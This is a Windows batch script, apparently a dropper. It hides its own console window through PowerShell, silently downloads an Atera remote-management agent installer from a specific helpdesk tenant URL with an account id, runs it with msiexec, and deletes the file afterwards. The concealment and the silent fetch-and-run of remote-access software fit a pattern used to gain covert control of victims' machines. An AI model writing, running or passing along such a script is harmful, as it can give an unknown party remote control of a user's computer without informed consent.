@echo off setlocal :: Hide the CMD window if /i not "%~1"=="hidden" ( powershell.exe -NoProfile -WindowStyle Hidden -Command ^ "Start-Process -FilePath '%~f0' -ArgumentList 'hidden' -WindowStyle Hidden -Wait" exit /b ) set "URL=https://HelpdeskSupport1789027660809.servicedesk.atera.com/api/utils/agent-install/windows/?cid=1&aeid=47bdd676d28e43eabb1726a995266f84" set "MSI=%TEMP%\AteraAgent.msi" if exist "%MSI%" del /f /q "%MSI%" >nul 2>&1 curl.exe -fL --silent "%URL%" -o "%MSI%" >nul 2>&1 if errorlevel 1 exit /b 1 if not exist "%MSI%" exit /b 1 :: Open the Atera installer UI start /wait "" msiexec.exe /i "%MSI%" set "EXITCODE=%ERRORLEVEL%" del /f /q "%MSI%" >nul 2>&1 exit /b %EXITCODE%